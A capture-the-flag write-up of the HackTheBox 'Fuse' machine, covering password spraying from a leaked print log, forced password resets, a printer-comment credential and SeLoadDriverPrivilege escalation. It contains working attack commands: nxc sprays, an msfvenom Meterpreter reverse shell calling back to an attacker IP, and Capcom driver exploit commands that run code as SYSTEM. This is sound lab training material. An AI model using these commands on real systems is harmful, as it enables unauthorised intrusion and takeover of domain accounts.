HTB: Fuse
← Back to the log
September 20, 2026·Johnytiger

HTB: Fuse

A PaperCut print log leaks the staff list and a document name that doubles as the corporate password. Every account demands a password change, a printer description hides a service credential in plaintext, and the load driver privilege finishes it through a vulnerable signed driver.

securityctfwriteuphacktheboxactive directorywindowspassword sprayingprivilege escalation

Trying to head over to port 80 on the system we are hit with a subdomain, so let's add these to our hosts file.

The browser landing on the PaperCut print logs path under the fuse.fabricorp.local subdomain

Heading back over to the webpage we see that it's a PaperCut Print Logger.

The PaperCut Print Logger interface, listing daily print logs for three dates in 2020

Looks very old school. Heading through the dated data we can find a few usernames, so let's save those all into a users.txt file.

A day of print logs showing the User column with pmerton and tlavel, alongside document names and client machines

Let's hit searchsploit to see if we find anything on PaperCut, as a Google search has shown this software could be vulnerable.

searchsploit papercut
searchsploit -m 51452

searchsploit returning a PaperCut authentication bypass and a remote code execution entry for CVE-2023-27350

We find there's an RCE and an auth bypass. Reading the exploit we can see that we need a live URL to the management app, and this box only runs the Print Logger, so we put this aside and head back to the actual app to see if we can find any more information.

A later day of print logs, where the third job is a document named Fabricorp01.docx

Looking at that third entry, the document name itself looks like a basic corporate password. Let's hit it against all the users.

nxc smb fuse.fabricorp.local -u users.txt -p 'Fabricorp01' --continue-on-success

The spray returning STATUS PASSWORD MUST CHANGE for bnielson, tlavel and bhult, rather than a plain logon failure

Check it out, we get a must-change status back. That means the password is correct but expired, so we can set these accounts' passwords, or at least try, because they've never been logged into.

impacket-changepasswd 'fabricorp.local/bnielson:Fabricorp01@fuse.fabricorp.local' -newpass 'password123'

The password change being refused, with the server reporting that a password update rule has been violated

That didn't work, but look, there are rules on the password. Let's sauce it up and give it a capital and a symbol.

impacket-changepasswd 'fabricorp.local/bnielson:Fabricorp01@fuse.fabricorp.local' -newpass 'Password123!'

The same command with a stronger password, this time reporting that the password was changed successfully

Success. Let's change the other accounts' passwords as well and then spray them with the list and see which one hits SMB. We get an error on the first try, so let's change the password again to something even stronger and something that hasn't been used before.

impacket-changepasswd 'fabricorp.local/tlavel:Fabricorp01@fuse.fabricorp.local' -newpass 'Fuse2026Poe!'

nxc smb fuse.fabricorp.local -u tlavel -p 'Fuse2026Poe!' --shares

The tlavel password change succeeding, then NetExec authenticating and listing the shares including a writable printer share

We get a major hit and drop the shares. Worth knowing before you go further: the box resets these passwords after a minute or two, so you have to change them again to something that hasn't been used yet. It is annoying, but it is the rhythm of this box.

Now let's pull the full user list over LDAP with the account we control.

nxc ldap fuse.fabricorp.local -u tlavel -p 'Fuse2026Poe!!' --users > all_users.txt
cat all_users.txt

The LDAP dump listing fifteen domain users, including two service accounts named svc-print and svc-scan

There are service accounts here. Let's save these users to users.txt and run them with the default password we have.

nxc smb fuse.fabricorp.local -u users.txt -p 'Fabricorp01' --continue-on-success

The spray across the full user list, every account failing including both service accounts

Nothing. Let's enumerate rpcclient and explore with the tlavel account we have.

rpcclient -U 'fabricorp.local/tlavel%Fuse2026Poe!!!' fuse.fabricorp.local

rpcclient $> enumprinters

The enumprinters output, where the printer's description field contains a scan2docs password in cleartext

The printer's own description field carries a password. Somebody typed a service credential into the printer comment so their colleagues could find it, and that field is readable by any authenticated user. Let's save it and continue enumerating.

nxc smb   fuse.fabricorp.local -u svc-scan -p '$fab@s3Rv1ce$1'
nxc winrm fuse.fabricorp.local -u svc-scan -p '$fab@s3Rv1ce$1'
nxc smb   fuse.fabricorp.local -u svc-scan -p '$fab@s3Rv1ce$1' --shares

NetExec confirming the svc-scan credentials over SMB, but the same account being refused over WinRM

Using that password with the service account svc-scan gets us a hit, but no WinRM. Let's try the same password with the other service account.

nxc winrm fuse.fabricorp.local -u svc-print -p '$fab@s3Rv1ce$1'

NetExec returning Pwn3d! for svc-print over WinRM

It's a hit. Let's move in on this.

evil-winrm -i fuse.fabricorp.local -u svc-print -p '$fab@s3Rv1ce$1'

Reading user.txt from the svc-print desktop over Evil-WinRM, with the flag value blurred out

Bam, we got the user flag on the desktop. Now let's check for privileges and see if we can dump anything.

whoami /all

whoami output showing the load driver privilege enabled on the svc-print account

The load driver privilege looks interesting. That right lets an account load a kernel driver, and a signed but vulnerable driver is as good as kernel code execution. After doing some research I found this is exploitable with a Metasploit module, but we need a Meterpreter session on the box first, so let's get going on that.

msfvenom -p windows/meterpreter/reverse_tcp LHOST=10.10.14.211 LPORT=4444 -f exe -o rev.exe

We push it over with a Python server and start a multi handler with the matching payload.

The Capcom module aborting with not-vulnerable, the exploit not being available on this system

All that trouble just to find out it is not exploitable, but at least we have a Meterpreter shell on the box. Let's use the local exploit suggester to see if we can get any hits.

use post/multi/recon/local_exploit_suggester

The suggester flagging several candidates as likely vulnerable, including the SpoolFool print spooler privilege escalation

This one looks like the hit, SpoolFool. Let's run it on our session.

The SpoolFool module creating its spool directory then aborting, with the directory not created and no session returned

It didn't hit, so we are going to have to move to the next one on the list. Doing some research I find this.

The k4sth4 SeLoadDriverPrivilege exploit on GitHub

This is the manual version of what the Metasploit module was trying to do. We load the vulnerable Capcom driver ourselves and then use it to run a command as SYSTEM. Because the shell we land in is awkward to read from, we have it write the flag out to a file we can read.

.\ExploitCapcom.exe LOAD "C:\Users\svc-print\Desktop\Capcom.sys"

.\ExploitCapcom.exe EXPLOIT "cmd.exe /c type C:\Users\Administrator\Desktop\root.txt > C:\Users\svc-print\Desktop\r.txt"

And we read that r.txt file for the root flag.

Reading the r.txt file written by the SYSTEM command, with the flag value blurred out

This box was alright, a little more advanced. I had to do extensive research and try a few exploits, but overall it was fun and I learned a few new things.

End of transmissionAll posts
Drive
Johnytiger